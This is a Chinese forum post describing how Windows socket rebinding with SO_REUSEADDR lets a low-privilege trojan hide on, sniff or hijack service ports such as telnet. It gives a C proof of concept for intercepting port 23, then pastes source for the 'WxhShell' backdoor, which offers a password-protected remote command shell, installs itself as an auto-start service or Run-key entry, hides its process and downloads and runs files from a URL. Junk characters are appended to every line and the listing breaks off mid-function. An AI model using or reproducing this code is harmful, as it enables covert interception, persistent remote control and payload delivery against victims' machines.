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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: El- ? %  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1[;;sSp  
usFfMF X  
  saddr.sin_family = AF_INET; F%d \~Vj  
ua5?(,E`']  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w%y\dIeI'  
?F7o!B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k |YWOy@D~  
nV*y`.+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;sPoUn s'  
W_`A"WdT.  
  这意味着什么?意味着可以进行如下的攻击: i3VW1~.8  
S'LZk9E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )IL #>2n?  
.8WXC   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3;[DJ5  
b:J(b?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MZ> 6o5K|  
p(F" /  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /) 4GSC}Gg  
1f'Hif*r_X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Wg`AZ=t  
`J0i.0p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^|!I +  
6w[}&pX"z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N K]B?  
V 9wI\0  
  #include N8r*dadDd  
  #include en F:>H4  
  #include (1R?s>3o  
  #include    qZv =  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9BEFr/.  
  int main() '8Ztj  
  { Ih}1%Jq  
  WORD wVersionRequested; Sh6JF574T  
  DWORD ret; :1ecx$  
  WSADATA wsaData; !y:%0{l  
  BOOL val; <A5]]{9 +  
  SOCKADDR_IN saddr; |RkcDrB~  
  SOCKADDR_IN scaddr; ~PWSo%W8  
  int err; x NK1h-t  
  SOCKET s; fBn"kr;  
  SOCKET sc; x%+{VStA  
  int caddsize; LhXUm  
  HANDLE mt; lbdTQ6R  
  DWORD tid;   H9)m^ *  
  wVersionRequested = MAKEWORD( 2, 2 ); O,2~"~kF  
  err = WSAStartup( wVersionRequested, &wsaData ); I04jjr:<  
  if ( err != 0 ) { cF)/^5Z  
  printf("error!WSAStartup failed!\n"); #oeG!<Mn  
  return -1; ^ KK_qC  
  } a]Eg!Q  
  saddr.sin_family = AF_INET; TjMe?p  
   h%; e0Xz|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dy__e^qi  
qBV x6MI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3.d"rl  
  saddr.sin_port = htons(23); #11NPo9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Uxfl_@lJ  
  { TL$EV>Nr  
  printf("error!socket failed!\n"); 7hW+T7u?  
  return -1; b-U eIjX  
  } =L|tp%!  
  val = TRUE; L4u;|-znw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {5r0v#;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DZ7 gcC  
  { .d;Iht,[  
  printf("error!setsockopt failed!\n"); $ ,SF@BhO  
  return -1; !Z!g:II /  
  } X,aYK;q%z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `afIYXP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U[L9*=P;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RO;Bl:x4  
n<sd!xmqFx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zya5Jb:Sg  
  { v~3B:k:?l  
  ret=GetLastError(); 3f " %G\  
  printf("error!bind failed!\n"); v2r&('pV  
  return -1; ?\KM5^eX  
  } Hs?e0Z=N  
  listen(s,2); h&.wo !  
  while(1) {>LIMG-f  
  { D4eTTfQ  
  caddsize = sizeof(scaddr); .:p2Tbo  
  //接受连接请求 vb 1@yQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O%g $9-?F0  
  if(sc!=INVALID_SOCKET) 1g# #sSa6  
  { <!-sZ_qq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C51bc6V  
  if(mt==NULL) CQ`=V2:"ON  
  { _=ua6}Xp  
  printf("Thread Creat Failed!\n"); 9Zry]$0~R  
  break; !Fo*e  
  } M.-"U+#aD  
  } Xs&TJ8a  
  CloseHandle(mt); Pq*s{  
  } 6u`F d#  
  closesocket(s); D|Iur W1f  
  WSACleanup(); %75xr9yOP  
  return 0; 6S6f\gAM  
  }   nJ4@I7Sk;  
  DWORD WINAPI ClientThread(LPVOID lpParam) `Y-|H;z  
  { T=hho Gn  
  SOCKET ss = (SOCKET)lpParam; ?D,=37  
  SOCKET sc; O}9KJU  
  unsigned char buf[4096]; }$MN|s  
  SOCKADDR_IN saddr; r`)L ~/  
  long num; \s3]_1F;t  
  DWORD val; *  tCS  
  DWORD ret; JN^ &S  
  //如果是隐藏端口应用的话,可以在此处加一些判断  Qk!;M |  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f\'{3I29  
  saddr.sin_family = AF_INET; }:0uo5 B7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (feTk72XX  
  saddr.sin_port = htons(23); ?USQlnr:R/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m9U"[Huv1E  
  { [I4ege>  
  printf("error!socket failed!\n"); 1/p*tZP8i  
  return -1; {G <kA(Lm  
  } QL6C,#6  
  val = 100; LjL[V'JL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f.24:Dw,  
  { {`2R,Jb%S  
  ret = GetLastError(); UobyK3.%  
  return -1; H|cNH=  
  } pg]BsJN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S'oGt&Z<  
  { D\<y)kh  
  ret = GetLastError(); 8/)qTUx:  
  return -1; Oj<S.fi  
  } eh,~^x5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?#yV3h|Ij  
  { rkiT1YTY  
  printf("error!socket connect failed!\n"); Ai D[SR  
  closesocket(sc); jx acg^c  
  closesocket(ss); v]__%_  
  return -1; Ax!+P\\2~  
  } 7'NwJ,$6\  
  while(1) ~Lc066bLeq  
  { XqM3<~$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cYXM__  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @EE."T9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -hC,e/+  
  num = recv(ss,buf,4096,0); olLfko4$*V  
  if(num>0) As+t##gN  
  send(sc,buf,num,0); kB5.(O  
  else if(num==0) NrP0Ep%V  
  break; GUslPnG  
  num = recv(sc,buf,4096,0); JG{j)O|L  
  if(num>0) :4v3\+T  
  send(ss,buf,num,0); 52upoU>}2  
  else if(num==0) f|u#2!7  
  break; 7JSNYTH  
  } eNiaM6(J  
  closesocket(ss); `jS T  
  closesocket(sc); bc , p }  
  return 0 ; D&HV6#  
  } FI"`DMb}  
oD}uOC}FS{  
Kscd}f)yx?  
========================================================== EGl^!.'  
K't]n{$  
下边附上一个代码,,WXhSHELL zE;bBwy&  
r>GZ58i  
========================================================== /b|0PMX  
s+:=I e  
#include "stdafx.h" fO#vF.k%  
pm{|?R  
#include <stdio.h> r-,e;o>9  
#include <string.h> gWY "w!f  
#include <windows.h> 7)h[Zy,A  
#include <winsock2.h> pLv$\ MiZ  
#include <winsvc.h> a<]B B$~  
#include <urlmon.h> g/13~UM\  
*,BzcZ  
#pragma comment (lib, "Ws2_32.lib") ktDC/8  
#pragma comment (lib, "urlmon.lib") OT'[:|x ;  
C"IKt  
#define MAX_USER   100 // 最大客户端连接数 ja=F7Usb  
#define BUF_SOCK   200 // sock buffer YJ(*wByM  
#define KEY_BUFF   255 // 输入 buffer tpuYiL  
@29U@T  
#define REBOOT     0   // 重启 o:V|:*1Q  
#define SHUTDOWN   1   // 关机 m|OO,gR  
h$L"8#  
#define DEF_PORT   5000 // 监听端口 q&:=<+2"  
_HhbIU  
#define REG_LEN     16   // 注册表键长度 " vtCTl~t  
#define SVC_LEN     80   // NT服务名长度 .$@R{>%U  
/  g 2b  
// 从dll定义API IHRGw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A<;SnXm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %kgkXc~6|x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '=P7""mN5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :kfp_o+J  
G9JAcO1  
// wxhshell配置信息 (rg;IXAq%  
struct WSCFG { )?wJF<[_#  
  int ws_port;         // 监听端口 ;2Q~0a|  
  char ws_passstr[REG_LEN]; // 口令 ws^4?O  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3j3N!T9  
  char ws_regname[REG_LEN]; // 注册表键名 Fv<`AU  
  char ws_svcname[REG_LEN]; // 服务名 vzmc}y G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x`6<m!d`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -\#0]F:-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r_;9' #&'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }<'5 z qS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H ty0qr3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,-z9 #t  
KF4PJi;*  
}; ^wS5>lf7p  
LY+|[qka  
// default Wxhshell configuration `Qeg   
struct WSCFG wscfg={DEF_PORT, =N 5z@;!  
    "xuhuanlingzhe", 1!>Jpi0  
    1, 2h%z ("3/  
    "Wxhshell", P (S>=,Y&  
    "Wxhshell", YtO|D  
            "WxhShell Service", 'fPdpnJ<  
    "Wrsky Windows CmdShell Service", T9s2bC.z55  
    "Please Input Your Password: ", @g G<le6  
  1, .H,xle  
  "http://www.wrsky.com/wxhshell.exe", 8zMu7,E  
  "Wxhshell.exe" V\6]n2  
    }; t]X w{)T  
m>SErxU(z  
// 消息定义模块 n9s iX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $[yFsA6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FN[{s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uo2GK3nT  
char *msg_ws_ext="\n\rExit."; ^%` wJ.c  
char *msg_ws_end="\n\rQuit."; |2KAo!PI  
char *msg_ws_boot="\n\rReboot..."; cp o-.  
char *msg_ws_poff="\n\rShutdown..."; U)3DQ6T99  
char *msg_ws_down="\n\rSave to "; ]KJj6xn  
*&f$K1p  
char *msg_ws_err="\n\rErr!"; D.mHIsX6\  
char *msg_ws_ok="\n\rOK!"; /JT#^Y  
>a}f{\Q  
char ExeFile[MAX_PATH]; /q5:p`4{J  
int nUser = 0; IUwm}9Q!  
HANDLE handles[MAX_USER]; S%`0'lzzj  
int OsIsNt; GH[wv<  
~}<DG1!  
SERVICE_STATUS       serviceStatus; hqRw^2F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u,6~qQczE  
}3?n~s\)6f  
// 函数声明 \_B[{e7z  
int Install(void); t#2(j1  
int Uninstall(void); P 3'O/!  
int DownloadFile(char *sURL, SOCKET wsh); {GJ@psG*  
int Boot(int flag); )&!&AlLn  
void HideProc(void); :kGU,>BN  
int GetOsVer(void); 4rrSb*  
int Wxhshell(SOCKET wsl); [}&Sxgv  
void TalkWithClient(void *cs); >KJ+-QuO&  
int CmdShell(SOCKET sock); ` Jdb;  
int StartFromService(void); a1@Y3M Q;i  
int StartWxhshell(LPSTR lpCmdLine); %HJK;   
0'IBN}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q1+dCCY#F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^`G}gWBx}w  
l]5w$dded~  
// 数据结构和表定义 ,N0#!<}4  
SERVICE_TABLE_ENTRY DispatchTable[] = p|]\P%,\  
{ L`24 ?Y{  
{wscfg.ws_svcname, NTServiceMain}, J_;o|gqX  
{NULL, NULL} w4gg@aO  
}; 6R^^.tCs  
7a~X:#  
// 自我安装 SCz318n  
int Install(void) z[;z>8|c  
{ k5T,990  
  char svExeFile[MAX_PATH]; R2 V4#  
  HKEY key; Bi{$@n&?f  
  strcpy(svExeFile,ExeFile); (P$H<FtH  
hodgDrmO/  
// 如果是win9x系统,修改注册表设为自启动 &#iTQD  
if(!OsIsNt) { B $mX3B+a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }I>tO9M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LEtG|3Dx  
  RegCloseKey(key); k`N^Vdr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5s]. @C8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r3PT1'P?L  
  RegCloseKey(key); cMOyo<F#^=  
  return 0; T~='5iy|  
    } q7E~+p(>(  
  } GI1  
} Z+=@<i''  
else { 5@BBo eG  
?[ lV-  
// 如果是NT以上系统,安装为系统服务 OtNd,U.dE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1 9CK+;b  
if (schSCManager!=0) n<u $=H  
{ f=9|b  
  SC_HANDLE schService = CreateService qXwPDq/  
  ( r% +V8o  
  schSCManager, hr)B[<9  
  wscfg.ws_svcname, aYSCw 3C<  
  wscfg.ws_svcdisp, w Y_)y  
  SERVICE_ALL_ACCESS, ^RI?ybDd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u`RI;KF~F  
  SERVICE_AUTO_START, s ']Bx=  
  SERVICE_ERROR_NORMAL, q0zr E5  
  svExeFile, G2T|RT $_K  
  NULL, gp\<p-}  
  NULL, .~7FyLl$  
  NULL, Kh_Lp$'0uM  
  NULL, k1D@fiz  
  NULL 3(,?S$>  
  ); RtM8yar+sn  
  if (schService!=0) #%h-[/  
  { h3xAJ!  
  CloseServiceHandle(schService); *vwbgJG! *  
  CloseServiceHandle(schSCManager); W}mn}gTQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >: g3k  
  strcat(svExeFile,wscfg.ws_svcname); 6l:qD`_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ob<{G"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :Nz2z[W$  
  RegCloseKey(key); jJPGrkr  
  return 0; jIyB  
    } mUik A9u5=  
  } "L&#lfOKG  
  CloseServiceHandle(schSCManager); P`cq H(   
} WL"^>[Vq  
} TtTj28 k7  
_y} T/I9  
return 1; @/ohg0  
} pz.JWCU1  
XLrwxj0  
// 自我卸载 }*S `qW;B  
int Uninstall(void) $arK(  
{ 5l UF7:A>#  
  HKEY key; %#xaA'? [  
!'9Feoez  
if(!OsIsNt) { CmoE _8U>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v : OR   
  RegDeleteValue(key,wscfg.ws_regname); F}/S:(6LF2  
  RegCloseKey(key); E;R n`oxk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /~$WUAh  
  RegDeleteValue(key,wscfg.ws_regname); I!Z_ [M  
  RegCloseKey(key); lrIjJ V  
  return 0; U ^5Kz-5.  
  } 2KYw}j|5  
} S(*sw 0O@+  
} %_%Q 8,W  
else { .Z `av n  
hRD=Y<>A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U!*M*s  
if (schSCManager!=0) Xx0hc 8qd  
{ U"^kH|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #PH~1`vl  
  if (schService!=0) SPY|K  
  { ORJIo  
  if(DeleteService(schService)!=0) { mQ|v26R  
  CloseServiceHandle(schService); g'n7T|h ~  
  CloseServiceHandle(schSCManager); 9\mLW"  
  return 0; Vg>dI&O  
  } `n @*{J8  
  CloseServiceHandle(schService); 6"J? #  
  } ijK"^4i  
  CloseServiceHandle(schSCManager); < (fRn`)PT  
} V8C:"UZ;  
} pUQ/03dp  
($;77fPR  
return 1; `-J%pEIza  
} TE7nJ gm  
L>aLqQ3  
// 从指定url下载文件 YSic-6z0Ms  
int DownloadFile(char *sURL, SOCKET wsh) DN-+osPi  
{ q=Sgk>NA  
  HRESULT hr; %Q fO8P  
char seps[]= "/"; sHt].gZ  
char *token; v,-HU&/*B  
char *file; W_\5nF  
char myURL[MAX_PATH]; JP!~,mdS  
char myFILE[MAX_PATH]; UU;(rS/  
r")`Ph@yp  
strcpy(myURL,sURL); "!ug_'VW  
  token=strtok(myURL,seps); ( u\._Gwsx  
  while(token!=NULL) %In A+5s`  
  { 0zlb0[  
    file=token; |@ s,XS  
  token=strtok(NULL,seps); F@'Jbd`   
  } BW}U%B^.  
W14 J],{L  
GetCurrentDirectory(MAX_PATH,myFILE); !Sh&3uy_qN  
strcat(myFILE, "\\"); p6#g;$V$  
strcat(myFILE, file); i1NY9br  
  send(wsh,myFILE,strlen(myFILE),0); t\~P:"  
send(wsh,"...",3,0); |y!=J$ $_H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /v1Q4mq  
  if(hr==S_OK) w[zjerH3  
return 0; =hC,@R>;  
else d iL +:H  
return 1; 1{ ~#H<K  
59Xi3KY  
} s E2D#D  
8 D3OOab  
// 系统电源模块 )NXmn95  
int Boot(int flag) cdl&9-}  
{ =[cS0Sy  
  HANDLE hToken; (|:M&Cna]  
  TOKEN_PRIVILEGES tkp; vNV/eB8#S  
pfA|I*`XV  
  if(OsIsNt) { v &Yi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QwJV S(Gs4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lsq A**=  
    tkp.PrivilegeCount = 1; iNtaDX| %/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B%)%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O`x;,6Vr  
if(flag==REBOOT) { |:q=T ~x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v7BA[jQr  
  return 0; D[aCsaR  
} dx5#\"KX=,  
else { A&.WH?p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Vd,jlt.t  
  return 0; ([\  
} J%v=yBC2  
  } z;{iM/Xe  
  else { TN!j13,  
if(flag==REBOOT) { 8=B|C'>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M -cTRd-i  
  return 0; `w#Oih!6A|  
} v5!d$Vctu  
else { Y!~49<;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $+8cc\fq  
  return 0; Pk{_(ybaY  
} bv]`!g: C  
} LSa,1{  
/32Fy`KV  
return 1; X@ +{5%  
} A-Sv;/yD_  
L-jJg,eY  
// win9x进程隐藏模块 h58`XH  
void HideProc(void) Zd^rNHhA  
{ s @&`f{  
rdl;M>0@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sT3^hY7  
  if ( hKernel != NULL ) ~ -4{B  
  { :~b3^xhc^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lGPUIoUo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0bceI  
    FreeLibrary(hKernel); .0S~872  
  } Uol|9F  
1n >X[! 8x  
return; AF;)#T<  
} ~P*6ozSYpY  
3m]4=  
// 获取操作系统版本 9_L[w\P|4  
int GetOsVer(void) |{BIHgMh  
{ 5gH1.7i b  
  OSVERSIONINFO winfo; @TLS<~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QwNly4  
  GetVersionEx(&winfo); !O+) sbd<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aE`c%T):`  
  return 1; _X^1IaL  
  else V]|^&A _c  
  return 0; Q8:Has  
} `YFtL  
4x {0iav  
// 客户端句柄模块 /7a BDc-v  
int Wxhshell(SOCKET wsl) j~2{lCT  
{ YZLkL26[  
  SOCKET wsh; ciFmaM.  
  struct sockaddr_in client; q!{y&.&\  
  DWORD myID; 35Ij ..z0  
54gBJEhg  
  while(nUser<MAX_USER) 1Ce@*XBU  
{ yQ_B)b  
  int nSize=sizeof(client); p#01gB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 09X01X[  
  if(wsh==INVALID_SOCKET) return 1;  ,V,`Jf  
hEA<o67  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I?h)OvWd  
if(handles[nUser]==0) :By?O"LQ  
  closesocket(wsh); L6t+zIUc-~  
else R+2+-j4  
  nUser++; y~Bh  
  } *"+=K,#D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #zG&|<hc  
RHaI~jb  
  return 0; _D+}q_  
} Nh8Q b/::  
NTdixfR  
// 关闭 socket ]mo-rhDsM  
void CloseIt(SOCKET wsh) eK6hS_E  
{ |8&,b`Gfo  
closesocket(wsh); :Ux?,  
nUser--; X> 1,!I9  
ExitThread(0); sT !~J4  
} (X $=Q6  
%zA;+s$l  
// 客户端请求句柄 "9m2/D`=  
void TalkWithClient(void *cs) sNj)ZWgd>  
{ o>).Cj  
zjJ *n8l  
  SOCKET wsh=(SOCKET)cs; 9E zj"  
  char pwd[SVC_LEN]; UR%/MV  
  char cmd[KEY_BUFF]; ?+_Gs;DGVE  
char chr[1]; FK:;e lZ  
int i,j; dU6ou'p f  
,p4&g)o  
  while (nUser < MAX_USER) { 2"0es40;0  
7F zA*  
if(wscfg.ws_passstr) { q+Lr"&'Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t|H^`Cv6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cQ/5qg  
  //ZeroMemory(pwd,KEY_BUFF); f1`gdQ)H  
      i=0; !Z`j2 e}  
  while(i<SVC_LEN) { aUzBV\Yd}  
w&$`cD  
  // 设置超时 MC?,UDNd%  
  fd_set FdRead; gcE|#1>  
  struct timeval TimeOut; J,V9k[88  
  FD_ZERO(&FdRead); )2pbpbWX>  
  FD_SET(wsh,&FdRead); {J{+FFsr(  
  TimeOut.tv_sec=8; V[{6e  
  TimeOut.tv_usec=0; CpA|4'#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9)y/:sO<P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _76PIR{an  
yL%K4$z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y-T| #  
  pwd=chr[0]; ^M3~^lV  
  if(chr[0]==0xd || chr[0]==0xa) { rx $mk  
  pwd=0; r#+d&.|  
  break; zAK+8{,  
  } {!.(7wV\  
  i++; 4zASMu  
    } 2>|dF~"  
L; T8?+x  
  // 如果是非法用户,关闭 socket vGc,vjC3x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )'Oh `$M  
} }E+!91't.^  
;,$NAejgd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O!zV)^r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B\<Q ;RI2;  
U1@IX4^2`  
while(1) { ,R'@%,/  
IC#>X5  
  ZeroMemory(cmd,KEY_BUFF); s8QM ewU  
D;oe2E{I  
      // 自动支持客户端 telnet标准   @.osJ}FxA  
  j=0; oeKHqP wg  
  while(j<KEY_BUFF) { K\>tA)IPSV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kd=GCO  
  cmd[j]=chr[0]; XUM!Qv  
  if(chr[0]==0xa || chr[0]==0xd) { VcAue!MN  
  cmd[j]=0; *YW/_  
  break; &K[_J  
  } 3t`P@nL0;  
  j++; Tu@8}C  
    } :@kGAI  
{_b%/eR1  
  // 下载文件 mYxuA0/k  
  if(strstr(cmd,"http://")) { il}%7b-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <DMl<KZ  
  if(DownloadFile(cmd,wsh)) vh"R'o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Nw&_<\9Q  
  else /+8JCp   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uG?_< mun  
  } $u7; TW6QD  
  else { wi hH?~]  
.9,zL=)Ba  
    switch(cmd[0]) { 6$fHtJD:  
  m*ISa(#(,  
  // 帮助 ]P#XVDn+;  
  case '?': { H70LhN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8j Mk)-  
    break; H]Cy=Zi"  
  } @L>q (Kg  
  // 安装 &/mA7Vf>eR  
  case 'i': { nS/)P4z  
    if(Install()) d1T,eJ}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B,M(@5wz  
    else UV5Ie!\nm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1lq(PGX)  
    break; %F\?R[^5  
    } Acnl^x7Y1  
  // 卸载 e .]KL('  
  case 'r': {  i7]4W  
    if(Uninstall()) t/ +=|*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -0?~  
    else 7P" | J\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Nu^  
    break; M54j@_81pX  
    } H:!7:  
  // 显示 wxhshell 所在路径 >G);j@Q  
  case 'p': { HuB<k3#sPy  
    char svExeFile[MAX_PATH]; S7=Bd[4  
    strcpy(svExeFile,"\n\r"); q+P|l5_ t  
      strcat(svExeFile,ExeFile); T~QWRBO  
        send(wsh,svExeFile,strlen(svExeFile),0); 9!T[Z/}T  
    break; *j]9vktH  
    } eL^.,H0  
  // 重启 NxjB/N  
  case 'b': { e&7JpT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OTC!wI g  
    if(Boot(REBOOT)) K|Ld,bq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k spTp>~  
    else { =jSb'Vu|  
    closesocket(wsh); thV>j9'  
    ExitThread(0); RMX:9aQ3F  
    } 6;C3RU]  
    break; :q=%1~Idla  
    } #~SP)Ukp  
  // 关机 1=#q5dZ]  
  case 'd': { /3;4#:Kkw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7.C;NT  
    if(Boot(SHUTDOWN)) *4_jA](  
